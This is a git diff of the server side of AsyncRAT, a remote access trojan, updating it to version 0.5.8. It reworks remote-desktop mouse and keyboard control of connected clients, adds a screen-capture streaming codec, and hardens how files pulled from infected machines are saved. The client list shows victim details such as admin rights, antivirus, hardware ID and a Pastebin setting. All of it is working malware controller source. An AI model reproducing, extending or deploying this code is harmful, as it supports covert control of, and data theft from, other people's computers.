int button = 0;
|
||||
if (e.Button == MouseButtons.Left)
|
||||
button = 4;
|
||||
@ -217,8 +213,8 @@ namespace Server.Forms
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "mouseClick";
|
||||
msgpack.ForcePathObject("X").AsInteger = p.X;
|
||||
msgpack.ForcePathObject("Y").AsInteger = p.Y;
|
||||
msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width;
|
||||
msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height;
|
||||
msgpack.ForcePathObject("Button").AsInteger = button;
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
@ -226,23 +222,22 @@ namespace Server.Forms
|
||||
catch { }
|
||||
}
|
||||
|
||||
//private void PictureBox1_MouseMove(object sender, MouseEventArgs e)
|
||||
//{
|
||||
// try
|
||||
// {
|
||||
// if (pictureBox1.Image != null && this.ContainsFocus && isMouse)
|
||||
// {
|
||||
// Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
|
||||
// MsgPack msgpack = new MsgPack();
|
||||
// msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
// msgpack.ForcePathObject("Option").AsString = "mouseMove";
|
||||
// msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
|
||||
// msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
|
||||
// ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
// }
|
||||
// }
|
||||
// catch { }
|
||||
//}
|
||||
private void pictureBox1_MouseMove(object sender, MouseEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (pictureBox1.Image != null && this.ContainsFocus && isMouse)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "mouseMove";
|
||||
msgpack.ForcePathObject("X").AsInteger = e.X * decoder.Resolution.Width / pictureBox1.Width;
|
||||
msgpack.ForcePathObject("Y").AsInteger = e.Y * decoder.Resolution.Height / pictureBox1.Height;
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void Button3_Click(object sender, EventArgs e)
|
||||
{
|
||||
@ -289,7 +284,7 @@ namespace Server.Forms
|
||||
|
||||
private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
|
||||
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
|
||||
{
|
||||
if (!IsLockKey(e.KeyCode))
|
||||
e.Handled = true;
|
||||
@ -310,7 +305,7 @@ namespace Server.Forms
|
||||
|
||||
private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard)
|
||||
if (btnStart.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard)
|
||||
{
|
||||
if (!IsLockKey(e.KeyCode))
|
||||
e.Handled = true;
|
||||
@ -332,5 +327,7 @@ namespace Server.Forms
|
||||
|| ((key & Keys.NumLock) == Keys.NumLock)
|
||||
|| ((key & Keys.Scroll) == Keys.Scroll);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
@ -170,14 +170,15 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
if (!Directory.Exists(SD.DirPath))
|
||||
return;
|
||||
string fileName = unpack_msgpack.ForcePathObject("Name").AsString;
|
||||
string fileName = Path.GetFileName(unpack_msgpack.ForcePathObject("Name").AsString);
|
||||
string dirPath = SD.DirPath;
|
||||
if (File.Exists(dirPath + "\\" + fileName))
|
||||
string fileFullPath = Path.Combine(dirPath, fileName);
|
||||
if (File.Exists(fileFullPath))
|
||||
{
|
||||
fileName = DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + "_" + fileName;
|
||||
await Task.Delay(100);
|
||||
fileFullPath = Path.Combine(dirPath, fileName);
|
||||
}
|
||||
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), dirPath + "\\" + fileName));
|
||||
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), fileFullPath));
|
||||
SD.Close();
|
||||
}
|
||||
}
|
||||
|
@ -79,7 +79,14 @@ namespace Server.Handle_Packet
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
|
||||
client.LV.SubItems.Add("0000 MS");
|
||||
client.LV.SubItems.Add("...");
|
||||
try
|
||||
{
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.LV.SubItems.Add("...");
|
||||
}
|
||||
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
|
||||
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
|
||||
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
|
||||
|
@ -4,6 +4,7 @@ using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
using System.Threading;
|
||||
using System.Drawing;
|
||||
using Microsoft.VisualBasic;
|
||||
|
||||
namespace Server.Handle_Packet
|
||||
{
|
||||
@ -32,12 +33,13 @@ namespace Server.Handle_Packet
|
||||
lock (Settings.LockListviewClients)
|
||||
if (client.LV != null)
|
||||
{
|
||||
client.LV.SubItems[Program.form1.lv_ping.Index].Text = unpack_msgpack.ForcePathObject("Message").AsInteger.ToString() + " MS";
|
||||
if (unpack_msgpack.ForcePathObject("Message").AsInteger > 600)
|
||||
int interval = (int)unpack_msgpack.ForcePathObject("Message").AsInteger;
|
||||
client.LV.SubItems[Program.form1.lv_ping.Index].Text = interval + " MS";
|
||||
if (interval > 400)
|
||||
{
|
||||
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Red;
|
||||
}
|
||||
else if (unpack_msgpack.ForcePathObject("Message").AsInteger > 300)
|
||||
else if (interval > 200)
|
||||
{
|
||||
client.LV.SubItems[Program.form1.lv_ping.Index].ForeColor = Color.Orange;
|
||||
}
|
||||
|
@ -27,16 +27,17 @@ namespace Server.Handle_Packet
|
||||
RD.labelWait.Visible = false;
|
||||
RD.timer1.Start();
|
||||
byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
|
||||
Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
|
||||
RD.rdSize = decoded0.Size;
|
||||
int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
|
||||
RD.numericUpDown2.Maximum = Screens - 1;
|
||||
}
|
||||
|
||||
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
|
||||
lock (RD.syncPicbox)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream(RdpStream))
|
||||
{
|
||||
RD.GetImage = RD.decoder.DecodeData(stream);
|
||||
}
|
||||
|
||||
RD.pictureBox1.Image = RD.GetImage;
|
||||
RD.FPS++;
|
||||
|
@ -31,5 +31,5 @@ using System.Runtime.InteropServices;
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("0.5.6.0")]
|
||||
[assembly: AssemblyFileVersion("0.5.6.0")]
|
||||
[assembly: AssemblyVersion("0.5.8.0")]
|
||||
[assembly: AssemblyFileVersion("0.5.8.0")]
|
||||
|
@ -12,7 +12,7 @@ namespace Server.Properties {
|
||||
|
||||
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.5.0.0")]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.10.0.0")]
|
||||
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
|
||||
|
||||
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||
|
@ -26,7 +26,7 @@
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<Prefer32Bit>true</Prefer32Bit>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
@ -46,8 +46,8 @@
|
||||
<ApplicationManifest>app.manifest</ApplicationManifest>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="BouncyCastle.Crypto, Version=1.8.6.0, Culture=neutral, PublicKeyToken=0e99375e54769942">
|
||||
<HintPath>..\packages\BouncyCastle.1.8.6.1\lib\BouncyCastle.Crypto.dll</HintPath>
|
||||
<Reference Include="BouncyCastle.Crypto, Version=1.8.9.0, Culture=neutral, PublicKeyToken=0e99375e54769942">
|
||||
<HintPath>..\packages\BouncyCastle.1.8.9\lib\BouncyCastle.Crypto.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="cGeoIp, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
|
||||
<SpecificVersion>False</SpecificVersion>
|
||||
@ -56,8 +56,8 @@
|
||||
<Reference Include="Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="dnlib, Version=3.3.2.0, Culture=neutral, PublicKeyToken=50e96378b6e77999, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\dnlib.3.3.2\lib\net45\dnlib.dll</HintPath>
|
||||
<Reference Include="dnlib, Version=4.2.0.0, Culture=neutral, PublicKeyToken=50e96378b6e77999, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\dnlib.4.2.0\lib\net45\dnlib.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="FastColoredTextBox, Version=2.16.24.0, Culture=neutral, PublicKeyToken=fb8aa12b994ef61b, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\FCTB.2.16.24\lib\FastColoredTextBox.dll</HintPath>
|
||||
@ -268,13 +268,9 @@
|
||||
<Compile Include="Settings.cs" />
|
||||
<Compile Include="Connection\Clients.cs" />
|
||||
<Compile Include="Connection\Listener.cs" />
|
||||
<Compile Include="StreamLibrary\Enums.cs" />
|
||||
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||
<Compile Include="StreamLibrary\JpgCompression.cs" />
|
||||
<Compile Include="StreamLibrary\NativeMethods.cs" />
|
||||
<Compile Include="StreamLibrary\UnsafeStreamCodec.cs" />
|
||||
<EmbeddedResource Include="Forms\FormAbout.resx">
|
||||
<DependentUpon>FormAbout.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
|
@ -19,7 +19,7 @@ namespace Server
|
||||
|
||||
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
|
||||
public static X509Certificate2 ServerCertificate;
|
||||
public static readonly string Version = "AsyncRAT 0.5.6D";
|
||||
public static readonly string Version = "AsyncRAT 0.5.8";
|
||||
public static object LockListviewClients = new object();
|
||||
public static object LockListviewLogs = new object();
|
||||
public static object LockListviewThumb = new object();
|
||||
|
72
AsyncRAT-C#/Server/StreamLibrary/JpgCompression.cs
Normal file
72
AsyncRAT-C#/Server/StreamLibrary/JpgCompression.cs
Normal file
@ -0,0 +1,72 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Server.StreamLibrary
|
||||
{
|
||||
public class JpgCompression : IDisposable
|
||||
{
|
||||
private readonly ImageCodecInfo _encoderInfo;
|
||||
private readonly EncoderParameters _encoderParams;
|
||||
|
||||
public JpgCompression(long quality)
|
||||
{
|
||||
EncoderParameter parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
|
||||
this._encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this._encoderParams = new EncoderParameters(2);
|
||||
this._encoderParams.Param[0] = parameter;
|
||||
this._encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionRle);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
if (_encoderParams != null)
|
||||
{
|
||||
_encoderParams.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
bmp.Save(stream, _encoderInfo, _encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public void Compress(Bitmap bmp, ref Stream targetStream)
|
||||
{
|
||||
bmp.Save(targetStream, _encoderInfo, _encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
int num2 = imageEncoders.Length - 1;
|
||||
for (int i = 0; i <= num2; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
21
AsyncRAT-C#/Server/StreamLibrary/NativeMethods.cs
Normal file
21
AsyncRAT-C#/Server/StreamLibrary/NativeMethods.cs
Normal file
@ -0,0 +1,21 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Server.StreamLibrary
|
||||
{
|
||||
public static class NativeMethods
|
||||
{
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern unsafe int memcpy(void* dst, void* src, uint count);
|
||||
}
|
||||
}
|
378
AsyncRAT-C#/Server/StreamLibrary/UnsafeStreamCodec.cs
Normal file
378
AsyncRAT-C#/Server/StreamLibrary/UnsafeStreamCodec.cs
Normal file
@ -0,0 +1,378 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
namespace Server.StreamLibrary
|
||||
{
|
||||
public class UnsafeStreamCodec : IDisposable
|
||||
{
|
||||
internal Size Resolution { get; private set; }
|
||||
internal Size CheckBlock { get; private set; }
|
||||
internal int ImageQuality
|
||||
{
|
||||
get { return _imageQuality; }
|
||||
private set
|
||||
{
|
||||
lock (_imageProcessLock)
|
||||
{
|
||||
_imageQuality = value;
|
||||
|
||||
if (_jpgCompression != null)
|
||||
{
|
||||
_jpgCompression.Dispose();
|
||||
}
|
||||
|
||||
_jpgCompression = new JpgCompression(_imageQuality);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private int _imageQuality;
|
||||
private byte[] _encodeBuffer;
|
||||
private Bitmap _decodedBitmap;
|
||||
private PixelFormat _encodedFormat;
|
||||
private int _encodedWidth;
|
||||
private int _encodedHeight;
|
||||
private readonly object _imageProcessLock = new object();
|
||||
private JpgCompression _jpgCompression;
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new instance of UnsafeStreamCodec class.
|
||||
/// </summary>
|
||||
/// <param name="imageQuality">The quality to use between 0-100.</param>
|
||||
/// <param name="monitor">The monitor used for the images.</param>
|
||||
/// <param name="resolution">The resolution of the monitor.</param>
|
||||
internal UnsafeStreamCodec(int imageQuality)
|
||||
{
|
||||
this.ImageQuality = imageQuality;
|
||||
this.CheckBlock = new Size(50, 1);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
|
||||
// Tell the Garbage Collector to not waste time finalizing this object
|
||||
// since we took care of it.
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
if (_decodedBitmap != null)
|
||||
{
|
||||
_decodedBitmap.Dispose();
|
||||
}
|
||||
|
||||
if (_jpgCompression != null)
|
||||
{
|
||||
_jpgCompression.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
internal unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format,
|
||||
Stream outStream)
|
||||
{
|
||||
lock (_imageProcessLock)
|
||||
{
|
||||
byte* pScan0;
|
||||
if (IntPtr.Size == 8)
|
||||
{
|
||||
// 64 bit process
|
||||
pScan0 = (byte*)scan0.ToInt64();
|
||||
}
|
||||
else
|
||||
{
|
||||
// 32 bit process
|
||||
pScan0 = (byte*)scan0.ToInt32();
|
||||
}
|
||||
|
||||
if (!outStream.CanWrite)
|
||||
{
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
}
|
||||
|
||||
int stride = 0;
|
||||
int rawLength = 0;
|
||||
int pixelSize = 0;
|
||||
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
pixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
pixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(format.ToString());
|
||||
}
|
||||
|
||||
stride = imageSize.Width * pixelSize;
|
||||
rawLength = stride * imageSize.Height;
|
||||
|
||||
if (_encodeBuffer == null)
|
||||
{
|
||||
this._encodedFormat = format;
|
||||
this._encodedWidth = imageSize.Width;
|
||||
this._encodedHeight = imageSize.Height;
|
||||
this._encodeBuffer = new byte[rawLength];
|
||||
|
||||
fixed (byte* ptr = _encodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0))
|
||||
{
|
||||
temp = _jpgCompression.Compress(tmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (this._encodedFormat != format)
|
||||
{
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
}
|
||||
else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height)
|
||||
{
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
long totalDataLength = 0;
|
||||
|
||||
List<Rectangle> blocks = new List<Rectangle>();
|
||||
|
||||
Size s = new Size(scanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = scanArea.Height - lastSize.Height;
|
||||
int lastx = scanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
s = new Size(scanArea.Width, s.Height);
|
||||
|
||||
fixed (byte* encBuffer = _encodeBuffer)
|
||||
{
|
||||
var index = 0;
|
||||
|
||||
for (int y = scanArea.Y; y != scanArea.Height; y += s.Height)
|
||||
{
|
||||
if (y == lasty)
|
||||
{
|
||||
s = new Size(scanArea.Width, lastSize.Height);
|
||||
}
|
||||
|
||||
cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height);
|
||||
|
||||
int offset = (y * stride) + (scanArea.X * pixelSize);
|
||||
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0)
|
||||
{
|
||||
index = blocks.Count - 1;
|
||||
|
||||
if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width,
|
||||
blocks[index].Height + cBlock.Height);
|
||||
blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, blocks[i].Height);
|
||||
|
||||
for (int x = scanArea.X; x != scanArea.Width; x += s.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
{
|
||||
s = new Size(lastSize.Width, blocks[i].Height);
|
||||
}
|
||||
|
||||
cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height);
|
||||
bool foundChanges = false;
|
||||
uint blockStride = (uint)(pixelSize * cBlock.Width);
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X);
|
||||
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0)
|
||||
{
|
||||
foundChanges = true;
|
||||
}
|
||||
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride);
|
||||
//copy-changes
|
||||
}
|
||||
|
||||
if (foundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
|
||||
if (finalUpdates.Count > 0 &&
|
||||
(finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = pixelSize * rect.Width;
|
||||
|
||||
Bitmap tmpBmp = null;
|
||||
BitmapData tmpData = null;
|
||||
long length;
|
||||
|
||||
try
|
||||
{
|
||||
tmpBmp = new Bitmap(rect.Width, rect.Height, format);
|
||||
tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height),
|
||||
ImageLockMode.ReadWrite, tmpBmp.PixelFormat);
|
||||
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride);
|
||||
//copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
length = outStream.Length;
|
||||
long old = outStream.Position;
|
||||
|
||||
_jpgCompression.Compress(tmpBmp, ref outStream);
|
||||
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = old - 4;
|
||||
outStream.Write(BitConverter.GetBytes(length), 0, 4);
|
||||
outStream.Position += length;
|
||||
}
|
||||
finally
|
||||
{
|
||||
tmpBmp.UnlockBits(tmpData);
|
||||
tmpBmp.Dispose();
|
||||
}
|
||||
|
||||
totalDataLength += length + (4 * 5);
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4);
|
||||
}
|
||||
}
|
||||
|
||||
internal unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length)
|
||||
{
|
||||
if (length < 4)
|
||||
{
|
||||
return _decodedBitmap;
|
||||
}
|
||||
|
||||
int dataSize = *(int*)(codecBuffer);
|
||||
|
||||
if (_decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[dataSize];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize);
|
||||
}
|
||||
|
||||
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
return _decodedBitmap;
|
||||
}
|
||||
else
|
||||
{
|
||||
return _decodedBitmap;
|
||||
}
|
||||
}
|
||||
|
||||
internal Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int dataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (_decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[dataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
return _decodedBitmap;
|
||||
}
|
||||
|
||||
using (Graphics g = Graphics.FromImage(_decodedBitmap))
|
||||
{
|
||||
while (dataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int updateLen = BitConverter.ToInt32(tempData, 16);
|
||||
|
||||
byte[] buffer = new byte[updateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
using (MemoryStream m = new MemoryStream(buffer))
|
||||
{
|
||||
using (Bitmap tmp = (Bitmap)Image.FromStream(m))
|
||||
{
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
}
|
||||
}
|
||||
|
||||
dataSize -= updateLen + (4 * 5);
|
||||
}
|
||||
}
|
||||
Resolution = _decodedBitmap.Size;
|
||||
return _decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,8 +1,8 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="BouncyCastle" version="1.8.6.1" targetFramework="net46" />
|
||||
<package id="BouncyCastle" version="1.8.9" targetFramework="net46" />
|
||||
<package id="Costura.Fody" version="4.1.0" targetFramework="net46" />
|
||||
<package id="dnlib" version="3.3.2" targetFramework="net46" />
|
||||
<package id="dnlib" version="4.2.0" targetFramework="net46" />
|
||||
<package id="FCTB" version="2.16.24" targetFramework="net46" />
|
||||
<package id="Fody" version="6.0.0" targetFramework="net46" developmentDependency="true" />
|
||||
<package id="Vestris.ResourceLib" version="2.1.0" targetFramework="net46" />
|
||||
|
Loading…
x
Reference in New Issue
Block a user